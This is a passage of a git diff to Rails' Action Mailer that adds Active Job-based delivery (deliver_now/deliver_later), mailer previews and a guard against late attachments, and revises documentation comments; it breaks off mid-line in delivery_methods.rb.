index 67ec0d1097..f3bddd8382 100644
--- a/actionmailer/actionmailer.gemspec
+++ b/actionmailer/actionmailer.gemspec
@@ -7,7 +7,7 @@ Gem::Specification.new do |s|
s.summary = 'Email composition, delivery, and receiving framework (part of Rails).'
s.description = 'Email on Rails. Compose, deliver, receive, and test emails using the familiar controller/view pattern. First-class support for multipart email and attachments.'
- s.required_ruby_version = '>= 1.9.3'
+ s.required_ruby_version = '>= 2.1.0'
s.license = 'MIT'
@@ -20,6 +20,9 @@ Gem::Specification.new do |s|
s.requirements << 'none'
s.add_dependency 'actionpack', version
+ s.add_dependency 'actionview', version
+ s.add_dependency 'activejob', version
- s.add_dependency 'mail', '~> 2.5.3'
+ s.add_dependency 'mail', ['~> 2.5', '>= 2.5.4']
+ s.add_dependency 'rails-dom-testing', '~> 1.0', '>= 1.0.5'
end
diff --git a/actionmailer/lib/action_mailer.rb b/actionmailer/lib/action_mailer.rb
index a9642dc695..b994ef3182 100644
--- a/actionmailer/lib/action_mailer.rb
+++ b/actionmailer/lib/action_mailer.rb
@@ -1,5 +1,5 @@
#--
-# Copyright (c) 2004-2012 David Heinemeier Hansson
+# Copyright (c) 2004-2014 David Heinemeier Hansson
#
# Permission is hereby granted, free of charge, to any person obtaining
# a copy of this software and associated documentation files (the
@@ -22,7 +22,6 @@
#++
require 'abstract_controller'
-require 'action_view'
require 'action_mailer/version'
# Common Active Support usage in Action Mailer
@@ -42,7 +41,10 @@ module ActionMailer
autoload :Base
autoload :DeliveryMethods
autoload :MailHelper
+ autoload :Preview
+ autoload :Previews, 'action_mailer/preview'
autoload :TestCase
autoload :TestHelper
- autoload :QueuedMessage
+ autoload :MessageDelivery
+ autoload :DeliveryJob
end
diff --git a/actionmailer/lib/action_mailer/base.rb b/actionmailer/lib/action_mailer/base.rb
index 95a680ac23..021a758940 100644
--- a/actionmailer/lib/action_mailer/base.rb
+++ b/actionmailer/lib/action_mailer/base.rb
@@ -1,10 +1,9 @@
require 'mail'
-require 'action_mailer/queued_message'
require 'action_mailer/collector'
require 'active_support/core_ext/string/inflections'
require 'active_support/core_ext/hash/except'
require 'active_support/core_ext/module/anonymous'
-require 'active_support/queueing'
+
require 'action_mailer/log_subscriber'
module ActionMailer
@@ -16,11 +15,17 @@ module ActionMailer
#
# $ rails generate mailer Notifier
#
- # The generated model inherits from <tt>ActionMailer::Base</tt>. A mailer model defines methods
+ # The generated model inherits from <tt>ApplicationMailer</tt> which in turn
+ # inherits from <tt>ActionMailer::Base</tt>. A mailer model defines methods
# used to generate an email message. In these methods, you can setup variables to be used in
# the mailer views, options on the mail itself such as the <tt>:from</tt> address, and attachments.
#
- # class Notifier < ActionMailer::Base
+ # class ApplicationMailer < ActionMailer::Base
+ # default from: 'from@exmaple.com'
+ # layout 'mailer'
+ # end
+ #
+ # class Notifier < ApplicationMailer
# default from: 'no-reply@example.com',
# return_path: 'system@example.com'
#
@@ -40,19 +45,16 @@ module ActionMailer
# in the same manner as <tt>attachments[]=</tt>
#
# * <tt>headers[]=</tt> - Allows you to specify any header field in your email such
- # as <tt>headers['X-No-Spam'] = 'True'</tt>. Note, while most fields like <tt>To:</tt>
- # <tt>From:</tt> can only appear once in an email header, other fields like <tt>X-Anything</tt>
- # can appear multiple times. If you want to change a field that can appear multiple times,
- # you need to set it to nil first so that Mail knows you are replacing it and not adding
- # another field of the same name.
+ # as <tt>headers['X-No-Spam'] = 'True'</tt>. Note that declaring a header multiple times
+ # will add many fields of the same name. Read #headers doc for more information.
#
# * <tt>headers(hash)</tt> - Allows you to specify multiple headers in your email such
# as <tt>headers({'X-No-Spam' => 'True', 'In-Reply-To' => '1234@message.id'})</tt>
#
# * <tt>mail</tt> - Allows you to specify email to be sent.
#
- # The hash passed to the mail method allows you to specify any header that a Mail::Message
- # will accept (any valid Email header including optional fields).
+ # The hash passed to the mail method allows you to specify any header that a <tt>Mail::Message</tt>
+ # will accept (any valid email header including optional fields).
#
# The mail method, if not passed a block, will inspect your views and send all the views with
# the same name as the method, so the above action would send the +welcome.text.erb+ view
@@ -88,14 +90,15 @@ module ActionMailer
# name as the method in your mailer model. For example, in the mailer defined above, the template at
# <tt>app/views/notifier/welcome.text.erb</tt> would be used to generate the email.
#
- # Variables defined in the model are accessible as instance variables in the view.
+ # Variables defined in the methods of your mailer model are accessible as instance variables in their
+ # corresponding view.
#
# Emails by default are sent in plain text, so a sample view for our model example might look like this:
#
# Hi <%= @account.name %>,
# Thanks for joining our service! Please check back often.
#
- # You can even use Action Pack helpers in these views. For example:
+ # You can even use Action View helpers in these views. For example:
#
# You got a new note!
# <%= truncate(@note.body, length: 25) %>
@@ -129,19 +132,25 @@ module ActionMailer
#
# config.action_mailer.default_url_options = { host: "example.com" }
#
- # When you decide to set a default <tt>:host</tt> for your mailers, then you need to make sure to use the
- # <tt>only_path: false</tt> option when using <tt>url_for</tt>. Since the <tt>url_for</tt> view helper
- # will generate relative URLs by default when a <tt>:host</tt> option isn't explicitly provided, passing
- # <tt>only_path: false</tt> will ensure that absolute URLs are generated.
- #
# = Sending mail
#
# Once a mailer action and template are defined, you can deliver your message or create it and save it
# for delivery later:
#
- # Notifier.welcome(david).deliver # sends the email
- # mail = Notifier.welcome(david) # => a Mail::Message object
- # mail.deliver # sends the email
+ # Notifier.welcome(User.first).deliver_now # sends the email
+ # mail = Notifier.welcome(User.first) # => an ActionMailer::MessageDelivery object
+ # mail.deliver_now # sends the email
+ #
+ # The <tt>ActionMailer::MessageDelivery</tt> class is a wrapper around a <tt>Mail::Message</tt> object. If
+ # you want direct access to the <tt>Mail::Message</tt> object you can call the <tt>message</tt> method on
+ # the <tt>ActionMailer::MessageDelivery</tt> object.
+ #
+ # Notifier.welcome(User.first).message # => a Mail::Message object
+ #
+ # Action Mailer is nicely integrated with Active Job so you can send emails in the background (example: outside
+ # of the request-response cycle, so the user doesn't have to wait on it):
+ #
+ # Notifier.welcome(User.first).deliver_later # enqueue the email sending to Active Job
#
# You never instantiate your mailer class. Rather, you just call the method you defined on the class itself.
#
@@ -153,9 +162,9 @@ module ActionMailer
#
# For example, if the following templates exist:
# * signup_notification.text.erb
- # * signup_notification.text.html.erb
- # * signup_notification.text.xml.builder
- # * signup_notification.text.yaml.erb
+ # * signup_notification.html.erb
+ # * signup_notification.xml.builder
+ # * signup_notification.yml.erb
#
# Each would be rendered and added as a separate part to the message, with the corresponding content
# type. The content type for the entire message is automatically set to <tt>multipart/alternative</tt>,
@@ -170,14 +179,14 @@ module ActionMailer
#
# Sending attachment in emails is easy:
#
- # class ApplicationMailer < ActionMailer::Base
+ # class Notifier < ApplicationMailer
# def welcome(recipient)
# attachments['free_book.pdf'] = File.read('path/to/file.pdf')
# mail(to: recipient, subject: "New account information")
# end
# end
#
- # Which will (if it had both a <tt>welcome.text.erb</tt> and <tt>welcome.text.html.erb</tt>
+ # Which will (if it had both a <tt>welcome.text.erb</tt> and <tt>welcome.html.erb</tt>
# template in the view directory), send a complete <tt>multipart/mixed</tt> email with two parts,
# the first part being a <tt>multipart/alternative</tt> with the text and HTML email parts inside,
# and the second being a <tt>application/pdf</tt> with a Base64 encoded copy of the file.pdf book
@@ -186,7 +195,7 @@ module ActionMailer
# If you need to send attachments with no content, you need to create an empty view for it,
# or add an empty body parameter like this:
#
- # class ApplicationMailer < ActionMailer::Base
+ # class Notifier < ApplicationMailer
# def welcome(recipient)
# attachments['free_book.pdf'] = File.read('path/to/file.pdf')
# mail(to: recipient, subject: "New account information", body: "")
@@ -198,7 +207,7 @@ module ActionMailer
# You can also specify that a file should be displayed inline with other HTML. This is useful
# if you want to display a corporate logo or a photo.
#
- # class ApplicationMailer < ActionMailer::Base
+ # class Notifier < ApplicationMailer
# def welcome(recipient)
# attachments.inline['photo.png'] = File.read('path/to/photo.png')
# mail(to: recipient, subject: "Here is what we look like")
@@ -230,14 +239,14 @@ module ActionMailer
# An interceptor class must implement the <tt>:delivering_email(message)</tt> method which will be
# called before the email is sent, allowing you to make modifications to the email before it hits
# the delivery agents. Your class should make any needed modifications directly to the passed
- # in Mail::Message instance.
+ # in <tt>Mail::Message</tt> instance.
#
# = Default Hash
#
# Action Mailer provides some intelligent defaults for your emails, these are usually specified in a
# default method inside the class definition:
#
- # class Notifier < ActionMailer::Base
+ # class Notifier < ApplicationMailer
# default sender: 'system@example.com'
# end
#
@@ -255,7 +264,7 @@ module ActionMailer
# As you can pass in any header, you need to either quote the header as a string, or pass it in as
# an underscored symbol, so the following will work:
#
- # class Notifier < ActionMailer::Base
+ # class Notifier < ApplicationMailer
# default 'Content-Transfer-Encoding' => '7bit',
# content_description: 'This is a description'
# end
@@ -263,7 +272,7 @@ module ActionMailer
# Finally, Action Mailer also supports passing <tt>Proc</tt> objects into the default hash, so you
# can define methods that evaluate as the message is being generated:
#
- # class Notifier < ActionMailer::Base
+ # class Notifier < ApplicationMailer
# default 'X-Special-Header' => Proc.new { my_method }
#
# private
@@ -288,7 +297,7 @@ module ActionMailer
# This may be useful, for example, when you want to add default inline attachments for all
# messages sent out by a certain mailer class:
#
- # class Notifier < ActionMailer::Base
+ # class Notifier < ApplicationMailer
# before_action :add_inline_attachment!
#
# def welcome
@@ -302,23 +311,61 @@ module ActionMailer
# end
# end
#
- # Callbacks in ActionMailer are implemented using AbstractController::Callbacks, so you
- # can define and configure callbacks in the same manner that you would use callbacks in
- # classes that inherit from ActionController::Base.
+ # Callbacks in Action Mailer are implemented using
+ # <tt>AbstractController::Callbacks</tt>, so you can define and configure
+ # callbacks in the same manner that you would use callbacks in classes that
+ # inherit from <tt>ActionController::Base</tt>.
#
# Note that unless you have a specific reason to do so, you should prefer using before_action
- # rather than after_action in your ActionMailer classes so that headers are parsed properly.
+ # rather than after_action in your Action Mailer classes so that headers are parsed properly.
+ #
+ # = Previewing emails
+ #
+ # You can preview your email templates visually by adding a mailer preview file to the
+ # <tt>ActionMailer::Base.preview_path</tt>. Since most emails do something interesting
+ # with database data, you'll need to write some scenarios to load messages with fake data:
+ #
+ # class NotifierPreview < ActionMailer::Preview
+ # def welcome
+ # Notifier.welcome(User.first)
+ # end
+ # end
+ #
+ # Methods must return a <tt>Mail::Message</tt> object which can be generated by calling the mailer
+ # method without the additional <tt>deliver_now</tt> / <tt>deliver_later</tt>. The location of the
+ # mailer previews directory can be configured using the <tt>preview_path</tt> option which has a default
+ # of <tt>test/mailers/previews</tt>:
+ #
+ # config.action_mailer.preview_path = "#{Rails.root}/lib/mailer_previews"
+ #
+ # An overview of all previews is accessible at <tt>http://localhost:3000/rails/mailers</tt>
+ # on a running development server instance.
+ #
+ # Previews can also be intercepted in a similar manner as deliveries can be by registering
+ # a preview interceptor that has a <tt>previewing_email</tt> method:
+ #
+ # class CssInlineStyler
+ # def self.previewing_email(message)
+ # # inline CSS styles
+ # end
+ # end
+ #
+ # config.action_mailer.preview_interceptors :css_inline_styler
+ #
+ # Note that interceptors need to be registered both with <tt>register_interceptor</tt>
+ # and <tt>register_preview_interceptor</tt> if they should operate on both sending and
+ # previewing emails.
#
# = Configuration options
#
# These options are specified on the class level, like
# <tt>ActionMailer::Base.raise_delivery_errors = true</tt>
#
- # * <tt>default</tt> - You can pass this in at a class level as well as within the class itself as
+ # * <tt>default_options</tt> - You can pass this in at a class level as well as within the class itself as
# per the above section.
#
# * <tt>logger</tt> - the logger is used for generating information on the mailing run if available.
- # Can be set to nil for no logging. Compatible with both Ruby's own Logger and Log4r loggers.
+ # Can be set to +nil+ for no logging. Compatible with both Ruby's own +Logger+ and Log4r loggers.
#
# * <tt>smtp_settings</tt> - Allows detailed configuration for <tt>:smtp</tt> delivery method:
# * <tt>:address</tt> - Allows you to use a remote mail server. Just change it from its default
@@ -332,12 +379,13 @@ module ActionMailer
# This is a symbol and one of <tt>:plain</tt> (will send the password in the clear), <tt>:login</tt> (will
# send password Base64 encoded) or <tt>:cram_md5</tt> (combines a Challenge/Response mechanism to exchange
# information and a cryptographic Message Digest 5 algorithm to hash important information)
- # * <tt>:enable_starttls_auto</tt> - When set to true, detects if STARTTLS is enabled in your SMTP server
- # and starts to use it.
+ # * <tt>:enable_starttls_auto</tt> - Detects if STARTTLS is enabled in your SMTP server and starts
+ # to use it. Defaults to <tt>true</tt>.
# * <tt>:openssl_verify_mode</tt> - When using TLS, you can set how OpenSSL checks the certificate. This is
# really useful if you need to validate a self-signed and/or a wildcard certificate. You can use the name
- # of an OpenSSL verify constant ('none', 'peer', 'client_once','fail_if_no_peer_cert') or directly the
- # constant (OpenSSL::SSL::VERIFY_NONE, OpenSSL::SSL::VERIFY_PEER,...).
+ # of an OpenSSL verify constant (<tt>'none'</tt>, <tt>'peer'</tt>, <tt>'client_once'</tt>,
+ # <tt>'fail_if_no_peer_cert'</tt>) or directly the constant (<tt>OpenSSL::SSL::VERIFY_NONE</tt>,
+ # <tt>OpenSSL::SSL::VERIFY_PEER</tt>, ...).
#
# * <tt>sendmail_settings</tt> - Allows you to override options for the <tt>:sendmail</tt> delivery method.
# * <tt>:location</tt> - The location of the sendmail executable. Defaults to <tt>/usr/sbin/sendmail</tt>.
@@ -352,30 +400,36 @@ module ActionMailer
#
# * <tt>delivery_method</tt> - Defines a delivery method. Possible values are <tt>:smtp</tt> (default),
# <tt>:sendmail</tt>, <tt>:test</tt>, and <tt>:file</tt>. Or you may provide a custom delivery method
- # object e.g. MyOwnDeliveryMethodClass. See the Mail gem documentation on the interface you need to
+ # object e.g. +MyOwnDeliveryMethodClass+. See the Mail gem documentation on the interface you need to
# implement for a custom delivery agent.
#
# * <tt>perform_deliveries</tt> - Determines whether emails are actually sent from Action Mailer when you
- # call <tt>.deliver</tt> on an mail message or on an Action Mailer method. This is on by default but can
+ # call <tt>.deliver</tt> on an email message or on an Action Mailer method. This is on by default but can
# be turned off to aid in functional testing.
#
# * <tt>deliveries</tt> - Keeps an array of all the emails sent out through the Action Mailer with
# <tt>delivery_method :test</tt>. Most useful for unit and functional testing.
- #
- # * <tt>queue</> - The queue that will be used to deliver the mail. The queue should expect a job that responds to <tt>run</tt>.
class Base < AbstractController::Base
include DeliveryMethods
+ include Previews
+
abstract!
- include AbstractController::Logger
include AbstractController::Rendering
- include AbstractController::Layouts
+
+ include AbstractController::Logger
include AbstractController::Helpers
include AbstractController::Translation
include AbstractController::AssetPaths
include AbstractController::Callbacks
- self.protected_instance_variables = [:@_action_has_layout]
+ include ActionView::Layouts
+
+ PROTECTED_IVARS = AbstractController::Rendering::DEFAULT_PROTECTED_INSTANCE_VARIABLES + [:@_action_has_layout]
+
+ def _protected_ivars # :nodoc:
+ PROTECTED_IVARS
+ end
helper ActionMailer::MailHelper
@@ -389,9 +443,6 @@ module ActionMailer
parts_order: [ "text/plain", "text/enriched", "text/html" ]
}.freeze
- class_attribute :queue
- self.queue = ActiveSupport::SynchronousQueue.new
-
class << self
# Register one or more Observers which will be notified when mail is delivered.
def register_observers(*observers)
@@ -404,27 +455,47 @@ module ActionMailer
end
# Register an Observer which will be notified when mail is delivered.
- # Either a class or a string can be passed in as the Observer. If a string is passed in
- # it will be <tt>constantize</tt>d.
+ # Either a class, string or symbol can be passed in as the Observer.
+ # If a string or symbol is passed in it will be camelized and constantized.
def register_observer(observer)
- delivery_observer = (observer.is_a?(String) ? observer.constantize : observer)
+ delivery_observer = case observer
+ when String, Symbol
+ observer.to_s.camelize.constantize
+ else
+ observer
+ end
+
Mail.register_observer(delivery_observer)
end
# Register an Interceptor which will be called before mail is sent.
- # Either a class or a string can be passed in as the Interceptor. If a string is passed in
- # it will be <tt>constantize</tt>d.
+ # Either a class, string or symbol can be passed in as the Interceptor.
+ # If a string or symbol is passed in it will be camelized and constantized.
def register_interceptor(interceptor)
- delivery_interceptor = (interceptor.is_a?(String) ? interceptor.constantize : interceptor)
+ delivery_interceptor = case interceptor
+ when String, Symbol
+ interceptor.to_s.camelize.constantize
+ else
+ interceptor
+ end
+
Mail.register_interceptor(delivery_interceptor)
end
+ # Returns the name of current mailer. This method is also being used as a path for a view lookup.
+ # If this is an anonymous mailer, this method will return +anonymous+ instead.
def mailer_name
@mailer_name ||= anonymous? ? "anonymous" : name.underscore
end
+ # Allows to set the name of current mailer.
attr_writer :mailer_name
alias :controller_path :mailer_name
+ # Sets the defaults through app configuration:
+ #
+ # config.action_mailer.default(from: "no-reply@example.org")
+ #
+ # Aliased by ::default_options=
def default(value = nil)
self.default_params = default_params.merge(value).freeze if value
default_params
@@ -436,13 +507,15 @@ module ActionMailer
# Receives a raw email, parses it into an email object, decodes it,
# instantiates a new mailer, and passes the email object to the mailer
- # object's +receive+ method. If you want your mailer to be able to
- # process incoming messages, you'll need to implement a +receive+
- # method that accepts the raw email string as a parameter:
+ # object's +receive+ method.
+ #
+ # If you want your mailer to be able to process incoming messages, you'll
+ # need to implement a +receive+ method that accepts the raw email string
+ # as a parameter:
#
# class MyMailer < ActionMailer::Base
# def receive(mail)
- # ...
+ # # ...
# end
# end
def receive(raw_mail)
@@ -453,10 +526,12 @@ module ActionMailer
end
end
- # Wraps an email delivery inside of Active Support Notifications instrumentation. This
- # method is actually called by the <tt>Mail::Message</tt> object itself through a callback
- # when you call <tt>:deliver</tt> on the Mail::Message, calling +deliver_mail+ directly
- # and passing a Mail::Message will do nothing except tell the logger you sent the email.
+ # Wraps an email delivery inside of <tt>ActiveSupport::Notifications</tt> instrumentation.
+ #
+ # This method is actually called by the <tt>Mail::Message</tt> object itself
+ # through a callback when you call <tt>:deliver</tt> on the <tt>Mail::Message</tt>,
+ # calling +deliver_mail+ directly and passing a <tt>Mail::Message</tt> will do
+ # nothing except tell the logger you sent the email.
def deliver_mail(mail) #:nodoc:
ActiveSupport::Notifications.instrument("deliver.action_mailer") do |payload|
set_payload_for_mail(payload, mail)
@@ -482,9 +557,9 @@ module ActionMailer
payload[:mail] = mail.encoded
end
- def method_missing(method_name, *args)
+ def method_missing(method_name, *args) # :nodoc:
if action_methods.include?(method_name.to_s)
- QueuedMessage.new(queue, self, method_name, *args)
+ MessageDelivery.new(self, method_name, *args)
else
super
end
@@ -504,40 +579,72 @@ module ActionMailer
process(method_name, *args) if method_name
end
- def process(*args) #:nodoc:
- lookup_context.skip_default_locale!
+ def process(method_name, *args) #:nodoc:
+ payload = {
+ mailer: self.class.name,
+ action: method_name
+ }
+
+ ActiveSupport::Notifications.instrument("process.action_mailer", payload) do
+ lookup_context.skip_default_locale!
- super
- @_message = NullMail.new unless @_mail_was_called
+ super
+ @_message = NullMail.new unless @_mail_was_called
+ end
end
class NullMail #:nodoc:
def body; '' end
+ def respond_to?(string, include_all=false)
+ true
+ end
+
def method_missing(*args)
nil
end
end
+ # Returns the name of the mailer object.
def mailer_name
self.class.mailer_name
end
- # Allows you to pass random and unusual headers to the new <tt>Mail::Message</tt> object
- # which will add them to itself.
+ # Allows you to pass random and unusual headers to the new <tt>Mail::Message</tt>
+ # object which will add them to itself.
#
# headers['X-Special-Domain-Specific-Header'] = "SecretValue"
#
- # You can also pass a hash into headers of header field names and values, which
- # will then be set on the Mail::Message object:
+ # You can also pass a hash into headers of header field names and values,
+ # which will then be set on the <tt>Mail::Message</tt> object:
#
# headers 'X-Special-Domain-Specific-Header' => "SecretValue",
# 'In-Reply-To' => incoming.message_id
#
- # The resulting Mail::Message will have the following in its header:
+ # The resulting <tt>Mail::Message</tt> will have the following in its header:
#
# X-Special-Domain-Specific-Header: SecretValue
- def headers(args=nil)
+ #
+ # Note about replacing already defined headers:
+ #
+ # * +subject+
+ # * +sender+
+ # * +from+
+ # * +to+
+ # * +cc+
+ # * +bcc+
+ # * +reply-to+
+ # * +orig-date+
+ # * +message-id+
+ # * +references+
+ #
+ # Fields can only appear once in email headers while other fields such as
+ # <tt>X-Anything</tt> can appear multiple times.
+ #
+ # If you want to replace any header which already exists, first set it to
+ # +nil+ in order to reset the value otherwise another field will be added
+ # for the same header.
+ def headers(args = nil)
if args
@_message.headers(args)
else
@@ -576,58 +683,75 @@ module ActionMailer
# mail.attachments[0] # => Mail::Part (first attachment)
#
def attachments
- @_message.attachments
+ if @_mail_was_called
+ LateAttachmentsProxy.new(@_message.attachments)
+ else
+ @_message.attachments
+ end
+ end
+
+ class LateAttachmentsProxy < SimpleDelegator
+ def inline; _raise_error end
+ def []=(_name, _content); _raise_error end
+
+ private
+ def _raise_error
+ raise RuntimeError, "Can't add attachments after `mail` was called.\n" \
+ "Make sure to use `attachments[]=` before calling `mail`."
+ end
end
# The main method that creates the message and renders the email templates. There are
# two ways to call this method, with a block, or without a block.
#
- # Both methods accept a headers hash. This hash allows you to specify the most used headers
- # in an email message, these are:
+ # It accepts a headers hash. This hash allows you to specify
+ # the most used headers in an email message, these are:
#
- # * <tt>:subject</tt> - The subject of the message, if this is omitted, Action Mailer will
- # ask the Rails I18n class for a translated <tt>:subject</tt> in the scope of
+ # * +:subject+ - The subject of the message, if this is omitted, Action Mailer will
+ # ask the Rails I18n class for a translated +:subject+ in the scope of
# <tt>[mailer_scope, action_name]</tt> or if this is missing, will translate the
- # humanized version of the <tt>action_name</tt>
- # * <tt>:to</tt> - Who the message is destined for, can be a string of addresses, or an array
+ # humanized version of the +action_name+
+ # * +:to+ - Who the message is destined for, can be a string of addresses, or an array
# of addresses.
- # * <tt>:from</tt> - Who the message is from
- # * <tt>:cc</tt> - Who you would like to Carbon-Copy on this email, can be a string of addresses,
+ # * +:from+ - Who the message is from
+ # * +:cc+ - Who you would like to Carbon-Copy on this email, can be a string of addresses,
# or an array of addresses.
- # * <tt>:bcc</tt> - Who you would like to Blind-Carbon-Copy on this email, can be a string of
+ # * +:bcc+ - Who you would like to Blind-Carbon-Copy on this email, can be a string of
# addresses, or an array of addresses.
- # * <tt>:reply_to</tt> - Who to set the Reply-To header of the email to.
- # * <tt>:date</tt> - The date to say the email was sent on.
+ # * +:reply_to+ - Who to set the Reply-To header of the email to.
+ # * +:date+ - The date to say the email was sent on.
#
- # You can set default values for any of the above headers (except :date) by using the <tt>default</tt>
- # class method:
+ # You can set default values for any of the above headers (except +:date+)
+ # by using the ::default class method:
#
# class Notifier < ActionMailer::Base
- # self.default from: 'no-reply@test.lindsaar.net',
- # bcc: 'email_logger@test.lindsaar.net',
- # reply_to: 'bounces@test.lindsaar.net'
+ # default from: 'no-reply@test.lindsaar.net',
+ # bcc: 'email_logger@test.lindsaar.net',
+ # reply_to: 'bounces@test.lindsaar.net'
# end
#
# If you need other headers not listed above, you can either pass them in
# as part of the headers hash or use the <tt>headers['name'] = value</tt>
# method.
#
- # When a <tt>:return_path</tt> is specified as header, that value will be used as the 'envelope from'
- # address for the Mail message. Setting this is useful when you want delivery notifications
- # sent to a different address than the one in <tt>:from</tt>. Mail will actually use the
- # <tt>:return_path</tt> in preference to the <tt>:sender</tt> in preference to the <tt>:from</tt>
- # field for the 'envelope from' value.
+ # When a +:return_path+ is specified as header, that value will be used as
+ # the 'envelope from' address for the Mail message. Setting this is useful
+ # when you want delivery notifications sent to a different address than the
+ # one in +:from+. Mail will actually use the +:return_path+ in preference
+ # to the +:sender+ in preference to the +:from+ field for the 'envelope
+ # from' value.
#
- # If you do not pass a block to the +mail+ method, it will find all templates in the
- # view paths using by default the mailer name and the method name that it is being
- # called from, it will then create parts for each of these templates intelligently,
- # making educated guesses on correct content type and sequence, and return a fully
- # prepared Mail::Message ready to call <tt>:deliver</tt> on to send.
+ # If you do not pass a block to the +mail+ method, it will find all
+ # templates in the view paths using by default the mailer name and the
+ # method name that it is being called from, it will then create parts for
+ # each of these templates intelligently, making educated guesses on correct
+ # content type and sequence, and return a fully prepared <tt>Mail::Message</tt>
+ # ready to call <tt>:deliver</tt> on to send.
#
# For example:
#
# class Notifier < ActionMailer::Base
- # default from: 'no-reply@test.lindsaar.net',
+ # default from: 'no-reply@test.lindsaar.net'
#
# def welcome
# mail(to: 'mikel@test.lindsaar.net')
@@ -650,15 +774,15 @@ module ActionMailer
# format.html
# end
#
- # You can even render text directly without using a template:
+ # You can even render plain text directly without using a template:
#
# mail(to: 'mikel@test.lindsaar.net') do |format|
- # format.text { render text: "Hello Mikel!" }
- # format.html { render text: "<h1>Hello Mikel!</h1>" }
+ # format.text { render plain: "Hello Mikel!" }
+ # format.html { render html: "<h1>Hello Mikel!</h1>".html_safe }
# end
#
- # Which will render a <tt>multipart/alternative</tt> email with <tt>text/plain</tt> and
- # <tt>text/html</tt> parts.
+ # Which will render a +multipart/alternative+ email with +text/plain+ and
+ # +text/html+ parts.
#
# The block syntax also allows you to customize the part headers if desired:
#
@@ -667,18 +791,18 @@ module ActionMailer
# format.html
# end
#
- def mail(headers={}, &block)
- @_mail_was_called = true
+ def mail(headers = {}, &block)
+ return @_message if @_mail_was_called && headers.blank? && !block
+
m = @_message
- # At the beginning, do not consider class default for parts order neither content_type
+ # At the beginning, do not consider class default for content_type
content_type = headers[:content_type]
- parts_order = headers[:parts_order]
# Call all the procs (if any)
- class_default = self.class.default
- default_values = class_default.merge(class_default) do |k,v|
- v.respond_to?(:to_proc) ? instance_eval(&v) : v
+ default_values = {}
+ self.class.default.each do |k,v|
+ default_values[k] = v.is_a?(Proc) ? instance_eval(&v) : v
end
# Handle defaults
@@ -689,7 +813,7 @@ module ActionMailer
m.charset = charset = headers[:charset]
# Set configure delivery behavior
- wrap_delivery_behavior!(headers.delete(:delivery_method),headers.delete(:delivery_method_options))
+ wrap_delivery_behavior!(headers.delete(:delivery_method), headers.delete(:delivery_method_options))
# Assign all headers except parts_order, content_type and body
assignable = headers.except(:parts_order, :content_type, :body, :template_name, :template_path)
@@ -697,6 +821,8 @@ module ActionMailer
# Render the templates and blocks
responses = collect_responses(headers, &block)
+ @_mail_was_called = true
+
create_parts_from_responses(m, responses)
# Setup content type, reapply charset and handle parts order
@@ -713,13 +839,22 @@ module ActionMailer
protected
+ # Used by #mail to set the content type of the message.
+ #
+ # It will use the given +user_content_type+, or multipart if the mail
+ # message has any attachments. If the attachments are inline, the content
+ # type will be "multipart/related", otherwise "multipart/mixed".
+ #
+ # If there is no content type passed in via headers, and there are no
+ # attachments, or the message is multipart, then the default content type is
+ # used.
def set_content_type(m, user_content_type, class_default)
params = m.content_type_parameters || {}
case
when user_content_type.present?
user_content_type
when m.has_attachments?
- if m.attachments.detect { |a| a.inline? }
+ if m.attachments.detect(&:inline?)
["multipart", "related", params]
else
["multipart", "mixed", params]
@@ -734,9 +869,10 @@ module ActionMailer
# Translates the +subject+ using Rails I18n class under <tt>[mailer_scope, action_name]</tt> scope.
# If it does not find a translation for the +subject+ under the specified scope it will default to a
# humanized version of the <tt>action_name</tt>.
- def default_i18n_subject #:nodoc:
+ # If the subject has interpolations, you can pass them through the +interpolations+ parameter.
+ def default_i18n_subject(interpolations = {})
mailer_scope = self.class.mailer_name.tr('/', '.')
- I18n.t(:subject, scope: [mailer_scope, action_name], default: action_name.humanize)
+ I18n.t(:subject, interpolations.merge(scope: [mailer_scope, action_name], default: action_name.humanize))
end
def collect_responses(headers) #:nodoc:
@@ -755,7 +891,7 @@ module ActionMailer
templates_path = headers.delete(:template_path) || self.class.mailer_name
templates_name = headers.delete(:template_name) || action_name
- each_template(templates_path, templates_name) do |template|
+ each_template(Array(templates_path), templates_name) do |template|
self.formats = template.formats
responses << {
@@ -769,11 +905,11 @@ module ActionMailer
end
def each_template(paths, name, &block) #:nodoc:
- templates = lookup_context.find_all(name, Array(paths))
+ templates = lookup_context.find_all(name, paths)
if templates.empty?
- raise ActionView::MissingTemplate.new([paths], name, [paths], false, 'mailer')
+ raise ActionView::MissingTemplate.new(paths, name, paths, false, 'mailer')
else
- templates.uniq { |t| t.formats }.each(&block)
+ templates.uniq(&:formats).each(&block)
end
end
@@ -796,6 +932,11 @@ module ActionMailer
container.add_part(part)
end
+ # Emails do not support relative path links.
+ def self.supports_path?
+ false
+ end
+
ActiveSupport.run_load_hooks(:action_mailer, self)
end
end
diff --git a/actionmailer/lib/action_mailer/collector.rb b/actionmailer/lib/action_mailer/collector.rb
index cbb2778fae..e8883a8235 100644
--- a/actionmailer/lib/action_mailer/collector.rb
+++ b/actionmailer/lib/action_mailer/collector.rb
@@ -20,7 +20,7 @@ module ActionMailer
end
alias :all :any
- def custom(mime, options={})
+ def custom(mime, options = {})
options.reverse_merge!(content_type: mime.to_s)
@context.formats = [mime.to_sym]
options[:body] = block_given? ? yield : @default_render.call
diff --git a/actionmailer/lib/action_mailer/delivery_job.rb b/actionmailer/lib/action_mailer/delivery_job.rb
new file mode 100644
index 0000000000..95231411fb
--- /dev/null
+++ b/actionmailer/lib/action_mailer/delivery_job.rb
@@ -0,0 +1,13 @@
+require 'active_job'
+
+module ActionMailer
+ # The <tt>ActionMailer::DeliveryJob</tt> class is used when you
+ # want to send emails outside of the request-response cycle.
+ class DeliveryJob < ActiveJob::Base #:nodoc:
+ queue_as :mailers
+
+ def perform(mailer, mail_method, delivery_method, *args) #:nodoc#
+ mailer.constantize.public_send(mail_method, *args).send(delivery_method)
+ end
+ end
+end
diff --git a/actionmailer/lib/action_mailer/delivery_methods.rb b/actionmailer/lib/action_mailer/delivery_methods.rb
index caea3d7535..aedcd81e52 100644
--- a/actionmailer/lib/action_mailer/delivery_methods.rb
+++ b/actionmailer/lib/action_mailer/delivery_methods.rb
@@ -38,6 +38,7 @@ module ActionMailer
add_delivery_method :test, Mail::TestMailer
end
+ # Helpers for creating and wrapping delivery behavior, used by DeliveryMethods.
module ClassMethods
# Provides a list of emails that have been delivered by Mail::TestMailer
delegate :deliveries, :deliveries=, to: Mail::TestMailer
@@ -63,7 +64,7 @@ module ActionMailer
raise "Delivery method cannot be nil"
when Symbol
if klass = delivery_methods[method]
- mail.delivery_method(klass,(send(:"#{method}_settings") || {}).merge!(options || {}))
